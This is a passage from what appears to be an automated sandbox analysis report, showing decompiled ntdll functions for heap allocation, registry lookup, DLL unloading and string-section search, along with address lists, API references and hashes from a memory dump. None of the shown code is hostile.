					E6B59D5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x6b56a229
0x6b56a231
0x6b56a23f
0x6b56a242
0x6b56a244
0x6b56a24c
0x6b56a255
0x6b56a25a
0x6b56a25f
0x6b5b1c76
0x6b5b1c78
0x6b5b1c7e
0x6b5b1c7f
0x6b5b1c81
0x6b5b1c82
0x6b5b1c84
0x6b5b1c89
0x6b5b1c8b
0x6b5b1c9e
0x6b5b1c9e
0x6b5b1cab
0x6b5b1cb2
0x00000000
0x6b5b1cb2
0x6b5b1c8d
0x6b5b1c92
0x00000000
0x00000000
0x6b5b1c94
0x6b5b1c98
0x00000000
0x00000000
0x00000000
0x6b5b1c98
0x6b56a265
0x6b56a265
0x6b56a266
0x6b56a26f
0x6b56a270
0x6b56a276
0x6b56a277
0x6b56a279
0x6b56a27e
0x6b56a282
0x6b5b1db5
0x6b5b1dbb
0x6b5b1dc1
0x6b5b1dc5
0x6b5b1de4
0x6b5b1de9
0x6b5b1dc7
0x6b5b1ddc
0x6b5b1de1
0x6b5b1def
0x6b5b1df3
0x6b5b1df7
0x6b5b1dfe
0x6b5b1e06
0x6b56a302
0x6b56a308
0x6b56a308
0x6b56a288
0x6b56a28d
0x6b56a294
0x6b5b1cc1
0x6b56a29a
0x6b56a29a
0x6b56a29a
0x6b56a29f
0x6b5b1ccb
0x6b5b1cd1
0x6b5b1cd8
0x6b5b1cea
0x6b5b1cea
0x6b5b1cd8
0x6b56a2a9
0x6b56a2af
0x6b56a2bc
0x6b5b1cfd
0x6b56a2c2
0x6b56a2c2
0x6b56a2c2
0x6b56a2c7
0x6b5b1d07
0x6b5b1d0d
0x6b5b1d14
0x6b5b1d1f
0x6b5b1d21
0x6b5b1d2c
0x6b5b1d2c
0x6b5b1d2c
0x6b5b1d47
0x6b5b1d47
0x6b5b1d14
0x6b56a2cd
0x6b56a2d2
0x6b56a2d9
0x6b5b1d5a
0x6b56a2df
0x6b56a2df
0x6b56a2df
0x6b56a2e4
0x6b5b1d69
0x6b5b1d6b
0x6b5b1d76
0x6b5b1d76
0x6b5b1d76
0x6b5b1d91
0x6b5b1d91
0x6b56a2ea
0x6b56a2f0
0x6b56a2f5
0x6b5b1da8
0x6b5b1dad
0x6b5b1dad
0x6b56a2fd
0x6b56a300
0x00000000

APIs

ZwAllocateVirtualMemory.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6B56A279

Part of subcall function 6B589660: LdrInitializeThunk.NTDLL(6B5D18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6B620810,0000001C,6B5D1616), ref: 6B58966A

RtlGetCurrentServiceSessionId.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6B56A288
RtlGetCurrentServiceSessionId.1105 ref: 6B56A2B5
RtlGetCurrentServiceSessionId.1105 ref: 6B56A2CD
ZwQueryVirtualMemory.1105(000000FF,?,00000003,00000014,00000014,00000000,?,?,?,-00000018,?,?,?,?,6B604C8F), ref: 6B5B1C84
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B5B1DDC
DbgPrint.1105(ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix),00000000,?,?,?), ref: 6B5B1DFE

Strings

ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6B5B1DF9
`, xrefs: 6B5B1C8D
HEAP[%wZ]: , xrefs: 6B5B1DD7
HEAP: , xrefs: 6B5B1DE4

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$MemoryPrintVirtual$AllocateInitializeQueryThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 1108326835-2586055223
Opcode ID: ff19a7373560a72fa521eccf3758d3277dc60a8706869d7f958ecb043cf03900
Instruction ID: 7d9bf1997ee0ece918a415fc784e1c4bfbdd91133ebc0fd822b4b51c014b218f
Opcode Fuzzy Hash: ff19a7373560a72fa521eccf3758d3277dc60a8706869d7f958ecb043cf03900
Instruction Fuzzy Hash: 7C51F2322556909FF312CB68C855FA777E8FB81B94F0408A8F9518B2A1E73CD940CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6B546F60, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 235
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6B546F60(WCHAR* _a4, WCHAR* _a8, void* _a12, signed int _a16, void* _a20, unsigned int _a24, int* _a28) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				char _v32;
				void* _v36;
				void* _v44;
				long _v48;
				char _v52;
				char _v56;
				char _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				int _v80;
				signed int _t72;
				signed int _t81;
				WCHAR* _t88;
				int* _t96;
				void _t100;
				void _t106;
				void* _t107;
				int* _t108;
				long _t111;
				unsigned int _t113;
				unsigned int _t115;
				int _t117;
				void* _t118;
				intOrPtr* _t121;
				void* _t123;
				int _t126;
				void* _t127;
				void* _t128;
				void* _t131;
				signed int _t134;
				long _t136;
				void* _t137;
				signed int _t138;

				_t72 = _a16;
				_t111 = 0;
				_v44 = 0;
				_v52 = 0;
				_v48 = 0;
				_t131 = 0;
				if(_t72 != 0) {
					if(_t72 == 1) {
						goto L1;
					}
					_t81 = 0xc00000f1;
					L14:
					return _t81;
				}
				L1:
				_v28 = 0x18;
				_v20 = 0x6b5216a8 + _t72 * 8;
				_push( &_v28);
				_push(0x20019);
				_v24 = _t111;
				_push( &_v52);
				_v16 = 0x40;
				_v12 = _t111;
				_v8 = _t111;
				_t134 = E6B589600();
				if(_t134 != 0xc0000034) {
					if(_t134 < 0) {
						L10:
						if(_v52 != 0) {
							_push(_v52);
							E6B5895D0();
						}
						if(_v48 != 0) {
							_push(_v48);
							E6B5895D0();
						}
						if(_t131 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t111, _t131);
						}
						_t81 = _t134;
						goto L14;
					}
					RtlInitUnicodeString( &_v36, _a4);
					_v32 = _v60;
					_v28 =  &_v44;
					_push( &_v36);
					_push(0x20019);
					_v36 = 0x18;
					_push( &_v56);
					_v24 = 0x40;
					_v20 = _t111;
					_v16 = _t111;
					_t134 = E6B589600();
					if(_t134 == 0xc0000034) {
						goto L2;
					}
					L20:
					if(_t134 < 0) {
						goto L10;
					}
					_t88 = _a8;
					if(_t88 == 0) {
						_t88 = L"TargetPath";
					}
					RtlInitUnicodeString( &_v44, _t88);
					_t113 = _a24;
					_t136 = _t113 + 0x10;
					if(_t136 >= _t113) {
						_t131 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t136);
						if(_t131 != 0) {
							_push( &_v80);
							_push(_t136);
							_push(_t131);
							_push(2);
							_push( &_v60);
							_push(_v72);
							_t134 = E6B589650();
							if(_t134 < 0) {
								if(_t134 != 0x80000005) {
									goto L51;
								}
								L32:
								_t117 =  *(_t131 + 8);
								_t49 = _t131 + 0xc; // 0xc
								_t128 = _t49;
								_v80 = _t117;
								if(_t134 < 0) {
									L47:
									_t96 = _a28;
									if(_t96 != 0) {
										 *_t96 = _t117;
									}
									if(_t134 >= 0) {
										memcpy(_a20, _t128, _t117);
									}
									goto L51;
								}
								_t115 = _a24;
								if( *((intOrPtr*)(_t128 + (_t117 >> 1) * 2 - 2)) != 0) {
									_t117 = _t117 + 2;
									_v80 = _t117;
									if(_t115 < _t117) {
										_t134 = 0x80000005;
									} else {
										 *((short*)(_t128 + (_t117 >> 1) * 2 - 2)) = 0;
										_t117 = _v80;
									}
								}
								if(_t134 < 0 ||  *((intOrPtr*)(_t131 + 4)) != 2) {
									goto L47;
								} else {
									_t118 = _t128;
									_t61 = _t118 + 2; // 0xe
									_t137 = _t61;
									do {
										_t100 =  *_t118;
										_t118 = _t118 + 2;
									} while (_t100 != _v68);
									_t111 = 0;
									_t134 = E6B572440(0, _t128, _t118 - _t137 >> 1, _a20, _t115 >> 1,  &_v64);
									if(_t134 >= 0 || _t134 == 0xc0000023) {
										_t121 = _a28;
										if(_t121 != 0) {
											 *_t121 = _v64 + _v64;
										}
										if(_t134 == 0xc0000023) {
											_t134 = 0x80000005;
										}
									}
									goto L10;
								}
							}
							if( *((intOrPtr*)(_t131 + 4)) == 1 ||  *((intOrPtr*)(_t131 + 4)) == 2) {
								goto L32;
							} else {
								_t134 = 0xc0000024;
								goto L51;
							}
						}
						_t134 = 0xc0000017;
						goto L51;
					} else {
						_t134 = 0xc0000095;
						L51:
						_t111 = 0;
						goto L10;
					}
				}
				L2:
				_t127 = _a12;
				if(_t127 == 0) {
					goto L20;
				} else {
					_t123 = _t127;
					_t138 = _t123 + 2;
					goto L4;
					L4:
					_t106 =  *_t123;
					_t123 = _t123 + 2;
					if(_t106 != _t111) {
						goto L4;
					} else {
						_t107 = (_t123 - _t138 >> 1) + 1;
						_t126 = _t107 + _t107;
						_v64 = _t126;
						if(_t126 < _t107) {
							_t134 = 0xc0000095;
						} else {
							_t108 = _a28;
							asm("sbb esi, esi");
							_t134 = _t138 & 0x80000005;
							if(_t108 != 0) {
								 *_t108 = _t126;
							}
							if(_t126 <= _a24) {
								memcpy(_a20, _t127, _t126);
							}
						}
						goto L10;
					}
				}
			}

0x6b546f6b
0x6b546f6f
0x6b546f71
0x6b546f75
0x6b546f79
0x6b546f7f
0x6b546f83
0x6b5a20d3
0x00000000
0x00000000
0x6b5a20d9
0x6b547045
0x6b54704b
0x6b54704b
0x6b546f89
0x6b546f90
0x6b546f98
0x6b546fa0
0x6b546fa1
0x6b546faa
0x6b546fae
0x6b546faf
0x6b546fb7
0x6b546fbb
0x6b546fc4
0x6b546fcc
0x6b5a20e5
0x6b547025
0x6b54702a
0x6b5a22a1
0x6b5a22a5
0x6b5a22a5
0x6b547035
0x6b5a22af
0x6b5a22b3
0x6b5a22b3
0x6b54703d
0x6b5a22c8
0x6b5a22c8
0x6b547043
0x00000000
0x6b547043
0x6b5a20f3
0x6b5a20fc
0x6b5a2104
0x6b5a210c
0x6b5a210d
0x6b5a2116
0x6b5a211e
0x6b5a211f
0x6b5a2127
0x6b5a212b
0x6b5a2134
0x6b5a213c
0x00000000
0x00000000
0x6b5a2142
0x6b5a2144
0x00000000
0x00000000
0x6b5a214a
0x6b5a214f
0x6b5a2151
0x6b5a2151
0x6b5a215c
0x6b5a2161
0x6b5a2164
0x6b5a2169
0x6b5a2187
0x6b5a218b
0x6b5a219b
0x6b5a219c
0x6b5a219d
0x6b5a219e
0x6b5a21a4
0x6b5a21a5
0x6b5a21ae
0x6b5a21b2
0x6b5a21d0
0x00000000
0x00000000
0x6b5a21d6
0x6b5a21d6
0x6b5a21d9
0x6b5a21d9
0x6b5a21dc
0x6b5a21e2
0x6b5a2280
0x6b5a2280
0x6b5a2285
0x6b5a2287
0x6b5a2287
0x6b5a228b
0x6b5a2292
0x6b5a2297
0x00000000
0x6b5a228b
0x6b5a21f3
0x6b5a21f6
0x6b5a21f8
0x6b5a21fb
0x6b5a2201
0x6b5a2212
0x6b5a2203
0x6b5a2207
0x6b5a220c
0x6b5a220c
0x6b5a2201
0x6b5a2219
0x00000000
0x6b5a2221
0x6b5a2221
0x6b5a2223
0x6b5a2223
0x6b5a2226
0x6b5a2226
0x6b5a2229
0x6b5a222c
0x6b5a2240
0x6b5a224c
0x6b5a2255
0x6b5a225f
0x6b5a2264
0x6b5a226c
0x6b5a226c
0x6b5a2270
0x6b5a2276
0x6b5a2276
0x6b5a2270
0x00000000
0x6b5a2255
0x6b5a2219
0x6b5a21b8
0x00000000
0x6b5a21c0
0x6b5a21c0
0x00000000
0x6b5a21c0
0x6b5a21b8
0x6b5a218d
0x00000000
0x6b5a216b
0x6b5a216b
0x6b5a229a
0x6b5a229a
0x00000000
0x6b5a229a
0x6b5a2169
0x6b546fd2
0x6b546fd2
0x6b546fd7
0x00000000
0x6b546fdd
0x6b546fdd
0x6b546fdf
0x6b546fdf
0x6b546fe2
0x6b546fe2
0x6b546fe5
0x6b546feb
0x00000000
0x6b546fed
0x6b546ff1
0x6b546ff4
0x6b546ff7
0x6b546ffd
0x6b54704e
0x6b546fff
0x6b547002
0x6b547005
0x6b547007
0x6b54700f
0x6b547011
0x6b547011
0x6b547016
0x6b54701d
0x6b547022
0x6b547016
0x00000000
0x6b546ffd
0x6b546feb

APIs

ZwOpenKey.1105(?,?,?,?,00020019,00000018), ref: 6B546FBF

Part of subcall function 6B589600: LdrInitializeThunk.NTDLL(6B581119,?,?,00000018,?), ref: 6B58960A

memcpy.1105(?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6B54701D
RtlInitUnicodeString.1105(?,?,?,?,?,?,00020019,00000018), ref: 6B5A20F3
ZwOpenKey.1105(?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6B5A212F
RtlInitUnicodeString.1105(?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6B5A215C
RtlAllocateHeap.1105(?,00000000,?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6B5A2182
ZwClose.1105(00000000,?,?,?,?,00020019,00000018), ref: 6B5A22A5

Strings

TargetPath, xrefs: 6B5A2151, 6B5A2156
@, xrefs: 6B5A211F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode$AllocateCloseHeapInitializeThunkmemcpy
String ID: @$TargetPath
API String ID: 1135747570-4164548946
Opcode ID: e6d14a4519cb43c4a3f372c24f65b43898cb2fe6062031d669d4f01e587948bc
Instruction ID: 2c3dc0248a62bf8614ad6db3fa1e71225637804506091dbb69167f906a6fe5d9
Opcode Fuzzy Hash: e6d14a4519cb43c4a3f372c24f65b43898cb2fe6062031d669d4f01e587948bc
Instruction Fuzzy Hash: 4681CB729093169FE715CF29C891ADFB7A4BF84704F0189ADE958A7210E33ADC05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B54F51D, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185
librarymemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6B54F51D(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t54;
				intOrPtr _t63;
				intOrPtr _t76;
				signed int _t77;
				signed int _t86;
				void* _t88;
				signed int _t89;
				void* _t90;
				intOrPtr* _t91;
				intOrPtr _t92;
				intOrPtr* _t93;
				void* _t94;
				void* _t95;
				signed int _t101;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				void* _t113;
				intOrPtr* _t115;
				void* _t116;
				signed int _t117;
				signed int _t118;
				signed int _t120;

				_t106 = __edx;
				_t93 = __ecx;
				_t120 = (_t118 & 0xfffffff8) - 0x14;
				_v8 =  *0x6b63d360 ^ _t120;
				_t115 = __ecx;
				_v24 =  *[fs:0x30];
				_t88 = 0;
				_v16 = __ecx;
				_push(_t108);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L3:
					 *(_t115 + 0x20) =  *(_t115 + 0x20) | 0xffffffff;
					E6B550225(_t88, _t93, _t108, _t115,  *(_t115 + 0x20));
					L4:
					if( *0x6b638472 != _t88) {
						_t106 =  *0x7ffe0330;
						_t89 =  *0x6b63b210; // 0x0
						_t94 = 0x20;
						_t93 = _t94 - (_t106 & 0x0000001f);
						asm("ror ebx, cl");
						_t88 = _t89 ^ _t106;
					}
					L6B55EEF0(0x6b6352d8);
					_t54 =  *_t115;
					while(1) {
						_v20 = _t54;
						if(_t54 == _t115) {
							break;
						}
						_t22 = _t54 - 0x54; // -84
						_t109 = _t22;
						__eflags =  *(_t109 + 0x34) & 0x00000008;
						if(( *(_t109 + 0x34) & 0x00000008) != 0) {
							_push(_t93);
							_t106 = 2;
							E6B558B80(_t109, _t106);
							__eflags = _t88;
							if(_t88 != 0) {
								 *0x6b63b1e0(_t109);
								 *_t88();
							}
							_t93 = _t109;
							E6B558800(_t93, 1);
							_t63 = _v32;
							__eflags =  *(_t63 + 0x68) & 0x00000100;
							if(( *(_t63 + 0x68) & 0x00000100) != 0) {
								_t93 = _t109;
								E6B5CEA20(_t93);
							}
						}
						__eflags =  *0x6b635780 & 0x00000005;
						if(__eflags != 0) {
							_t46 = _t109 + 0x24; // -48
							E6B5C5510("minkernel\\ntdll\\ldrsnap.c", 0xc5e, "LdrpUnloadNode", 2, "Unmapping DLL \"%wZ\"\n", _t46);
							_t120 = _t120 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t109 + 0x18)));
						E6B550100(_t88, _t93, _t109, _t115, __eflags);
						_t54 =  *_v28;
					}
					_t65 = E6B55EB70(_t93, 0x6b6352d8);
					while(1) {
						L8:
						_t95 =  *(_t115 + 0x18);
						if(_t95 == 0) {
							break;
						}
						_t110 =  *_t95;
						__eflags = _t110 - _t95;
						if(_t110 != _t95) {
							_t65 =  *_t110;
							 *_t95 =  *_t110;
						} else {
							_t34 = _t115 + 0x18;
							 *_t34 =  *(_t115 + 0x18) & 0x00000000;
							__eflags =  *_t34;
						}
						__eflags = _t110;
						if(_t110 == 0) {
							break;
						} else {
							E6B562280(_t65, 0x6b6384d8);
							_t92 =  *((intOrPtr*)(_t110 + 4));
							_t37 = _t110 + 8; // -76
							_t107 = _t37;
							_t101 =  *(_t92 + 0x1c);
							_t76 =  *_t101;
							_v28 = _t76;
							__eflags = _t76 - _t107;
							if(_t76 != _t107) {
								_t117 = _v24;
								do {
									_t77 =  *_t117;
									_t101 = _t117;
									_t117 = _t77;
									__eflags = _t77 - _t107;
								} while (_t77 != _t107);
								_t115 = _v16;
							}
							 *_t101 =  *_t107;
							__eflags =  *(_t92 + 0x1c) - _t107;
							if(__eflags == 0) {
								asm("sbb eax, eax");
								_t86 =  ~(_t101 - _t107) & _t101;
								__eflags = _t86;
								 *(_t92 + 0x1c) = _t86;
							}
							_t106 = 0;
							_push( &_v12);
							E6B55093F(_t92, _t92, 0, _t110, _t115, __eflags);
							E6B55FFB0(_t92, _t110, 0x6b6384d8);
							__eflags = _v20;
							if(_v20 != 0) {
								E6B54F51D(_t92, 0);
							}
							_t65 = RtlFreeHeap( *0x6b637b98, 0, _t110);
							continue;
						}
					}
					_t111 =  *_t115;
					 *(_t115 + 0x20) = 0xfffffffe;
					if(_t111 == _t115) {
						L14:
						_pop(_t112);
						_pop(_t116);
						_pop(_t90);
						return E6B58B640(_t65, _t90, _v8 ^ _t120, _t106, _t112, _t116);
					} else {
						goto L10;
					}
					do {
						L10:
						_t91 =  *_t111;
						_t113 = _t111 + 0xffffffac;
						 *(_t113 + 0x34) =  *(_t113 + 0x34) | 0x00000002;
						E6B562280(_t65, 0x6b6384d8);
						E6B55008A(_t113, _t115);
						if(( *(_t113 + 0x34) & 0x00000080) != 0) {
							_t17 = _t113 + 0x74; // -140
							L6B54F900(0x6b6385fc, _t17);
							_t18 = _t113 + 0x68; // -152
							L6B54F900(0x6b6385f4, _t18);
							 *(_t113 + 0x20) =  *(_t113 + 0x20) & 0x00000000;
						}
						E6B55FFB0(_t91, _t113, 0x6b6384d8);
						if( *0x6b637b94 != 0) {
							E6B580413(_t113);
						}
						_t65 = E6B55EC7F(_t113);
						_t111 = _t91;
					} while (_t91 != _t115);
					goto L14;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L4;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) != 9) {
					goto L8;
				}
				goto L3;
			}

0x6b54f51d
0x6b54f51d
0x6b54f525
0x6b54f52f
0x6b54f53b
0x6b54f53d
0x6b54f541
0x6b54f543
0x6b54f547
0x6b54f54c
0x6b54f55a
0x6b54f55a
0x6b54f55e
0x6b54f563
0x6b54f569
0x6b54f718
0x6b54f720
0x6b54f72b
0x6b54f72c
0x6b54f72e
0x6b54f730
0x6b54f730
0x6b54f574
0x6b54f579
0x6b54f57b
0x6b54f57b
0x6b54f581
0x00000000
0x00000000
0x6b54f61f
0x6b54f61f
0x6b54f622
0x6b54f626
0x6b54f628
0x6b54f62b
0x6b54f62e
0x6b54f633
0x6b54f635
0x6b54f73a
0x6b54f740
0x6b54f740
0x6b54f63d
0x6b54f63f
0x6b54f644
0x6b54f648
0x6b54f64f
0x6b5a5d11
0x6b5a5d13
0x6b5a5d13
0x6b54f64f
0x6b54f655
0x6b54f65c
0x6b5a5d1d
0x6b5a5d37
0x6b5a5d3c
0x6b5a5d3c
0x6b54f662
0x6b54f664
0x6b54f667
0x6b54f670
0x6b54f670
0x6b54f58c
0x6b54f591
0x6b54f591
0x6b54f591
0x6b54f596
0x00000000
0x00000000
0x6b54f677
0x6b54f679
0x6b54f67b
0x6b54f706
0x6b54f708
0x6b54f681
0x6b54f681
0x6b54f681
0x6b54f681
0x6b54f681
0x6b54f685
0x6b54f687
0x00000000
0x6b54f68d
0x6b54f692
0x6b54f697
0x6b54f69a
0x6b54f69a
0x6b54f69d
0x6b54f6a0
0x6b54f6a2
0x6b54f6a6
0x6b54f6a8
0x6b54f6f2
0x6b54f6f6
0x6b54f6f6
0x6b54f6f8
0x6b54f6fa
0x6b54f6fc
0x6b54f6fc
0x6b54f700
0x6b54f700
0x6b54f6ac
0x6b54f6ae
0x6b54f6b1
0x6b54f6b9
0x6b54f6bb
0x6b54f6bb
0x6b54f6bd
0x6b54f6bd
0x6b54f6c4
0x6b54f6c6
0x6b54f6c9
0x6b54f6d3
0x6b54f6d8
0x6b54f6dd
0x6b54f711
0x6b54f711
0x6b54f6e8
0x00000000
0x6b54f6e8
0x6b54f687
0x6b54f59c
0x6b54f59e
0x6b54f5a7
0x6b54f60d
0x6b54f611
0x6b54f612
0x6b54f613
0x6b54f61e
0x00000000
0x00000000
0x00000000
0x6b54f5a9
0x6b54f5a9
0x6b54f5a9
0x6b54f5ab
0x6b54f5b3
0x6b54f5b7
0x6b54f5be
0x6b54f5c7
0x6b54f5c9
0x6b54f5d2
0x6b54f5d7
0x6b54f5e0
0x6b54f5e5
0x6b54f5e5
0x6b54f5ee
0x6b54f5fa
0x6b5a5d46
0x6b5a5d46
0x6b54f602
0x6b54f607
0x6b54f609
0x00000000
0x6b54f5a9
0x6b54f552
0x00000000
0x00000000
0x6b54f558
0x00000000
0x00000000
0x00000000

APIs

RtlEnterCriticalSection.1105(6B6352D8), ref: 6B54F574
RtlLeaveCriticalSection.1105(6B6352D8,?,00000000,6B6352D8), ref: 6B54F58C
RtlAcquireSRWLockExclusive.1105 ref: 6B54F5B7
RtlRbRemoveNode.1105(6B6385FC,-0000008C), ref: 6B54F5D2
RtlRbRemoveNode.1105(6B6385F4,-00000098,6B6385FC,-0000008C), ref: 6B54F5E0
RtlReleaseSRWLockExclusive.1105(6B6384D8), ref: 6B54F5EE
LdrUnloadAlternateResourceModuleEx.1105(?,00000000,6B6352D8), ref: 6B54F667
RtlAcquireSRWLockExclusive.1105(6B6384D8,6B6352D8,?,00000000,6B6352D8), ref: 6B54F692
RtlReleaseSRWLockExclusive.1105(6B6384D8,?,6B6384D8,6B6352D8,?,00000000,6B6352D8), ref: 6B54F6D3
RtlFreeHeap.1105(00000000,-00000054,6B6384D8,?,6B6384D8,6B6352D8), ref: 6B54F6E8
RtlDebugPrintTimes.1105(-00000054,?,6B6352D8), ref: 6B54F73A

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 6B5A5D32
LdrpUnloadNode, xrefs: 6B5A5D28
Unmapping DLL "%wZ", xrefs: 6B5A5D21

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCriticalNodeReleaseRemoveSection$AlternateDebugEnterFreeHeapLeaveModulePrintResourceTimesUnload
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 2596885168-2283098728
Opcode ID: 00553d0e2a7c40c5c69858a79c388a0324c4362cf8e8d24478a7ffa8fd0eba7f
Instruction ID: bc29720840742d7fe9fb448b4b669fbfc06058b0b27f5d251eb28ee3bdf44928
Opcode Fuzzy Hash: 00553d0e2a7c40c5c69858a79c388a0324c4362cf8e8d24478a7ffa8fd0eba7f
Instruction Fuzzy Hash: 235101726047019FF714DF3CC885AEA73A1BF85318F140A9DE459876A5E73CE845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B563360, Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 355
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6B563360(signed short* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr* _a8, unsigned int _a12, void* _a16) {
				signed int _v8;
				void _v32;
				char _v33;
				void* _v40;
				signed short* _v44;
				struct _EXCEPTION_RECORD _v48;
				char _v52;
				intOrPtr _v56;
				short _v58;
				void* _v60;
				signed short _v64;
				unsigned int _v68;
				intOrPtr _v72;
				void* _v76;
				intOrPtr* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t144;
				short _t165;
				void _t171;
				signed int _t173;
				void* _t177;
				void _t178;
				short _t181;
				void _t187;
				signed short* _t193;
				signed int _t198;
				signed int _t199;
				void* _t200;
				signed int _t206;
				signed short _t207;
				signed short _t208;
				signed char _t220;
				char _t221;
				intOrPtr* _t223;
				signed int _t225;
				void* _t226;
				signed int _t228;
				unsigned int _t229;
				signed short* _t231;
				void* _t233;
				signed int _t235;
				signed int _t237;
				void* _t238;

				_v8 =  *0x6b63d360 ^ _t237;
				_t193 = __ecx;
				_v48 = _a4;
				_t233 = _a16;
				_t229 = _a12;
				_v72 = __edx;
				_v44 = __ecx;
				_v80 = _a8;
				_v68 = _t229;
				_v40 = _t233;
				_v33 = 1;
				if((__ecx[8] & 0x00000001) == 0) {
					_t220 = 0;
				} else {
					_t220 = 1;
				}
				_v52 = _t220;
				if( *_t193 != 0x64487353) {
					L71:
					_t140 = 0xc0150003;
					goto L32;
				} else {
					if(_t193[0xa] == 0) {
						L31:
						_t140 = 0xc0150008;
						goto L32;
					} else {
						_t198 = _t193[0xe];
						if(_t198 == 0xffffffff) {
							_t221 = 0;
							goto L21;
						} else {
							if( *_t229 == _t198) {
								L20:
								_t221 = _v33;
								goto L21;
							} else {
								_t187 = 0;
								if(_v48 == 0 || _t233 == 0) {
									_t140 = 0xc000000d;
									goto L18;
								} else {
									_t231 = _v48;
									_t193 = _t231[2];
									 *_t233 = 0;
									_t229 = ( *_t231 & 0x0000ffff) >> 1;
									if(_t198 > 1) {
										L65:
										if(E6B55FAB0(_t198, _v48, _v52, 0,  &_v76) < 0) {
											goto L32;
										} else {
											_t193 = _v44;
											E6B5D5720(0x33, 0, "RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.\n", _t193[0xe]);
											_t238 = _t238 + 0x10;
											_t221 = 0;
											L21:
											_v33 = _t221;
											if(_t193[4] != 1) {
												_t220 = 0;
											}
											_t199 = _t193[0x10];
											asm("sbb al, al");
											if((_t220 &  ~_t199) == 0) {
												if(_t220 == 0 || (_t193[8] & 0x00000002) == 0) {
													_t229 = _v44;
													_t193 = _t193[0xc] + _t229;
													_t233 =  *(_t229 + 0x14);
													if(_t233 != 0) {
														_t200 = _v40;
														do {
															_t144 = _t193[4];
															_v60 = _t144;
															_v58 = _t144;
															_v56 = _t193[2] + _t229;
															if(_t220 == 0 ||  *_t193 ==  *_t200) {
																if(RtlCompareUnicodeString(_v48,  &_v60, _v52) == 0) {
																	goto L52;
																} else {
																	_t220 = _v33;
																	_t200 = _v40;
																	goto L81;
																}
															} else {
																goto L81;
															}
															goto L83;
															L81:
															_t193 =  &(_t193[0xc]);
															_t233 = _t233 - 1;
														} while (_t233 != 0);
													}
													goto L31;
												} else {
													_t205 = _t193[0xa];
													_t233 = _t193 + _t193[0xc];
													_t65 = _t205 - 1; // -1
													_t229 = _t233 + (_t65 + _t65 * 2) * 8;
													_v32 =  *_v40;
													_t193 = bsearch( &_v32, _t233, _t193[0xa], 0x18, 0x6b578c30);
													if(_t193 == 0) {
														goto L31;
													} else {
														if(_t193 != _t233) {
															_t171 =  *_v40;
															while( *_t193 == _t171) {
